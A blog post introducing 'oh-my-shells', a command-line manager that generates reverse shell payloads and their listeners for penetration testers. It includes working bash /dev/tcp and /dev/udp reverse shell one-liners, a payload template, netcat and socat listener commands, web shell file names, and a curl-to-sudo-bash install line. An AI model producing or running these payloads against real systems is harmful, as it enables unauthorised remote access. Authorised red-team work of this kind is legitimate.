oRdInaRy.log

Stop Googling Reverse Shells: Meet oh-my-shells

Hi there! :D

This post is about a red-team tool I recently built β€” but first, let’s talk about the problem it solves.

Why? β€” The pain point

Every pentester needs payloads. Whether it’s bypassing file filters, sneaking past WAFs, or popping a shell with a quick /dev/tcp trick β€” payloads are the bread and butter of red teaming.

But here’s the real issue: where do you keep them?

All of these work, but none of them are perfect:

At the end of the day, you spend more time digging than hacking.

So I thought: what if revshells.com existed on the CLI? Offline, structured, fast, and easy to extend.

Well… I couldn’t find it.
So I built it.

What? β€” Meet oh-my-shells

So what exactly is it?
oh-my-shells is basically a payload + listener manager for the terminal. Instead of digging through random notes or browser tabs, you can just use a simple CLI command and instantly get what you need.

The whole point is: search, pick, run.

Some of the main features are:

Example

Say you want a bash reverse shell. Instead of googling it (again), just:

$ oh-my-shells search bash
Search results for 'bash':
============================

[bash_udp] unix/reverse/udp
  Name: Bash UDP
  Description: Spawns an interactive bash shell and redirects IO over a UDP connection to the specified host and port.

[bash_read_line] unix/reverse/tcp
  Name: Bash read line
  Description: Uses file descriptor 5 to open a TCP connection to the specified host and port, then read lines from the socket and executes them, redirecting IO through F5 5.
...

$ oh-my-shells generate bash_udp --lhost 10.10.10.10 --lport 8080
Generated payload:
bash -i >& /dev/udp/10.10.10.10/8080 0>&1

Available listeners:
  nc: nc -luvnp 8080
  nc_freebsd: nc -luvn 8080
  busybox_nc: busybox nc -ulp 8080
  ncat: ncat -luvnp 8080
  ncat_exe: ncat.exe -luvnp 8080
  rlwrap_nc: rlwrap -cAr nc -luvnp 8080
  rustcat: rcat listen -u 8080
  pwncat: python3 -m pwncat -ulp 8080
  socat: socat -d -d UDP-LISTEN:8080 STDOUT
  socat_tty: socat -d -d file:`tty`,raw,echo=0 UDP-LISTEN:8080
  powercat: powercat -l -p 8080 -u

And that’s it β€” you’re ready to go.

How? - Under the hood

So how does this thing actually work?
At its core, oh-my-shells is just a big organized collection of payload definitions written in TOML.
Every payload is a little self-contained .toml file that describes:

Here’s a real example:

id = "bash_196"
name = "Bash 196"
os = "unix"
type = "reverse"
proto = "tcp"
lang = "bash"
description = "Uses file descriptor 196 to open a TCP connection to the specified host and port, then redirects IO through FD 196."

payload = "exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; {{SHELL}} <&196 >&196 2>&196"

[listeners]
nc         = "nc -lvnp {{LPORT}}"
busybox_nc = "busybox nc -lp {{LPORT}}"
socat      = "socat -d -d TCP-LISTEN:{{LPORT}} STDOUT"

[shells]
compatible = ["bash", "/bin/bash", "/usr/bin/env bash", ...]

That’s it. The CLI just parses this TOML, fills in the placeholders, and shows you the right payload + listener. No magic, just structured data.

The file structure

To keep everything tidy (and make searching fast), payloads live in a Metasploit-style folder tree under shells/. It’s organized by OS, type, and protocol β€” so you can quickly drill down to what you need (and the tool can easily traverse all shells):

shells/
β”œβ”€β”€ unix
β”‚   β”œβ”€β”€ reverse
β”‚   β”‚   β”œβ”€β”€ tcp
β”‚   β”‚   β”‚   β”œβ”€β”€ bash_196.toml
β”‚   β”‚   β”‚   β”œβ”€β”€ perl_pentestmonkey.toml
β”‚   β”‚   β”‚   β”œβ”€β”€ python3_shortest.toml
β”‚   β”‚   β”‚   └── zsh.toml
β”‚   β”‚   β”‚   └── ...
β”‚   β”‚   └── udp
β”‚   β”‚       β”œβ”€β”€ bash_udp.toml
β”‚   β”‚   β”‚   └── ...
β”‚   └── bind
β”‚       └── tcp
β”‚           β”œβ”€β”€ nc_bind.toml
β”‚           β”œβ”€β”€ ...
β”‚           └── perl_bind.toml
β”œβ”€β”€ windows
β”‚   └── reverse
β”‚       └── tcp
β”‚           β”œβ”€β”€ powershell_1.toml
β”‚           β”œβ”€β”€ python3_windows.toml
β”‚           β”œβ”€β”€ ...
β”‚           └── nc_exe_e.toml
└── all
    └── web
        β”œβ”€β”€ php_cmd.toml
        β”œβ”€β”€ ...
        └── p0wny_shell.toml

Why TOML?

Because it's:

All you need is to drop a .toml in the right folder and boom β€” oh-my-shells picks it up.

Adding your own payload

Adding a new payload is ridiculously easy β€” no coding required. Just:

  1. Pick the right folder
    Find the folder that matches the OS, type, and protocol. For example:
    shells/unix/reverse/tcp/ or shells/windows/reverse/http/

  2. Copy an existing TOML as a template

    cp bash_196.toml my_new_payload.toml
    
  3. Edit your TOML Change the id, name, description, payload, and listeners. Make sure your have the {{LHOST}} and {{LPORT}} placeholders in the payload string.

  4. List compatible shells Add any shells that your payload can safely run under:

    [shells]
    compatible = ["bash", "dash", "very-cool-stuff"]
    

    Note: If your payload doesn't invoke anything shells like with -i flag for example you can skip the shells section completely.

  5. Done! oh-my-shells automatically detects the new file. Test it with:

    oh-my-shells search new
    oh-my-shells show my_new_payload
    oh-my-shells generate my_new_payload -H 10.10.10.10 -P 4444
    

That’s it β€” your payload is now fully integrated and ready to use.

Want to get it?

Alright, getting this tool on your system is easy. It's programmed in C and really only needs the bare-minimum of the binary and the shells folder on the same directory to work.

To install it you must at least have on your system: make (plus it's dependencies), a proper Unix environment (WSL, macOS, practically any Linux distro), and for the one-liner I'm going to show cURL though you can run the install.sh script in any way.

This install.sh I just mentioned is the recommended install method, for a cURL one-liner that runs it you can use:

curl -fsSL https://raw.githubusercontent.com/ordinary-hacker/oh-my-shells/trunk/install.sh | sudo bash

The script will: clone the Github repository to /opt, use make to build the binary, symlink the resulting oh-my-shells binary to /usr/local/bin/oh-my-shells. As simple as that the tool is now installed!

Contributing & Feedback

Found a bug, have a recommendation, or want to contribute by adding more payloads or to the code? Then you are completely free to open an issue/PR on the Github repository.

#payloads #red-team #shells